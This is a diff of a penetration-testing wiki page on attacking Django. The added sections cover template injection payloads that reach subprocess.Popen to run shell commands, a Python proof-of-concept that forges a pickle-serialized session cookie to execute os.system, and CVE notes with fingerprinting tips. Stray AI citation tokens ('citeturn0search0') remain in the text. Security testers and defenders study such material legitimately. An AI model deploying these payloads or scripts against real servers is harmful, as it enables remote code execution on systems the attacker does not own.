|
3 | 3 | {{#include /banners/hacktricks-training.md}}
|
4 | 4 |
|
5 | 5 | ## Cache Manipulation to RCE
|
6 |
| -Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**. |
| 6 | +Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**. |
7 | 7 |
|
8 | 8 | Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
|
9 | 9 |
|
10 | 10 | This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
|
11 | 11 |
|
| 12 | +--- |
12 | 13 |
|
| 14 | +## Server-Side Template Injection (SSTI) |
| 15 | +The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. |
| 16 | + |
| 17 | +### Detection |
| 18 | +1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data. |
| 19 | +2. Send a time-based or arithmetic payload: |
| 20 | + ```django |
| 21 | + {{7*7}} |
| 22 | + ``` |
| 23 | + If the rendered output contains `49` the input is compiled by the template engine. |
| 24 | + |
| 25 | +### Primitive to RCE |
| 26 | +Django blocks direct access to `__import__`, but the Python object graph is reachable: |
| 27 | +```django |
| 28 | +{{''.__class__.mro()[1].__subclasses__()}} |
| 29 | +``` |
| 30 | +Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands: |
| 31 | +```django |
| 32 | +{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} |
| 33 | +``` |
| 34 | +A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`. |
| 35 | + |
| 36 | +The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input. |
| 37 | + |
| 38 | +--- |
| 39 | + |
| 40 | +## Pickle-Backed Session Cookie RCE |
| 41 | +If the setting `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` is enabled (or a custom serializer that deserialises pickle), Django *decrypts and unpickles* the session cookie **before** calling any view code. Therefore, possessing a valid signing key (the project `SECRET_KEY` by default) is enough for immediate remote code execution. |
| 42 | + |
| 43 | +### Exploit Requirements |
| 44 | +* The server uses `PickleSerializer`. |
| 45 | +* The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.). |
| 46 | + |
| 47 | +### Proof-of-Concept |
| 48 | +```python |
| 49 | +#!/usr/bin/env python3 |
| 50 | +from django.contrib.sessions.serializers import PickleSerializer |
| 51 | +from django.core import signing |
| 52 | +import os, base64 |
| 53 | + |
| 54 | +class RCE(object): |
| 55 | + def __reduce__(self): |
| 56 | + return (os.system, ("id > /tmp/pwned",)) |
| 57 | + |
| 58 | +mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) |
| 59 | +print(f"sessionid={mal}") |
| 60 | +``` |
| 61 | +Send the resulting cookie, and the payload runs with the permissions of the WSGI worker. |
| 62 | + |
| 63 | +**Mitigations**: Keep the default `JSONSerializer`, rotate `SECRET_KEY`, and configure `SESSION_COOKIE_HTTPONLY`. |
| 64 | + |
| 65 | +--- |
| 66 | + |
| 67 | +## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check |
| 68 | +* **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. citeturn0search0 |
| 69 | +* **CVE-2024-42005** – *Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8. citeturn1search2 |
| 70 | + |
| 71 | +Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable. |
| 72 | + |
| 73 | +--- |
| 74 | + |
| 75 | +## References |
| 76 | +* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. citeturn0search0 |
| 77 | +* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. citeturn1search2 |
13 | 78 |
|
14 | 79 | {{#include /banners/hacktricks-training.md}}
|
0 commit comments